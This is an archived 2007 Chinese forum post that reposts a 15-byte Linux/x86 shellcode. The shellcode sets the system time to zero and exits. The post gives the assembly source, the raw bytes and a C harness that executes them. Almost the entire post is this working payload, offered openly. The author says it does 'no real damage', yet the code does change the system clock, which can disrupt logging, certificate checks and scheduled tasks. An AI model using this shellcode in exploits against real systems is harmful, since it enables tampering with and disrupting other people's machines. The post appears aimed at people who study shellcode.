岁月联盟 - 技术社区 - BBS.SYUE.COM's Archiver

猪猪 发表于 2007-2-3 22:26

linux/x86 set system time to 0 and exit 15 bytes

[code]
/* By Kris Katterjohn 11/14/2006
*
* 15 byte shellcode to set system time to 0 and exit. No real damage :)
*
* exit() code is the last 5 bytes (0x6a - 0x80)
*
* for Linux/x86
*
*
*
* section .text
*
*    global _start
*
* _start:
*
* ; stime([0])
*
*    push byte 25
*    pop eax
*    xor ecx, ecx
*    push ecx
*    mov ebx, esp
*    int 0x80
*
* ; exit()
*    push byte 1
*    pop eax
*    int 0x80
*/

main()
{
   char shellcode[] =
       "\x6a\x19\x58\x31\xc9\x51\x89\xe3\xcd\x80\x6a\x01\x58\xcd\x80";

   (*(void (*)()) shellcode)();
}[/code]

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.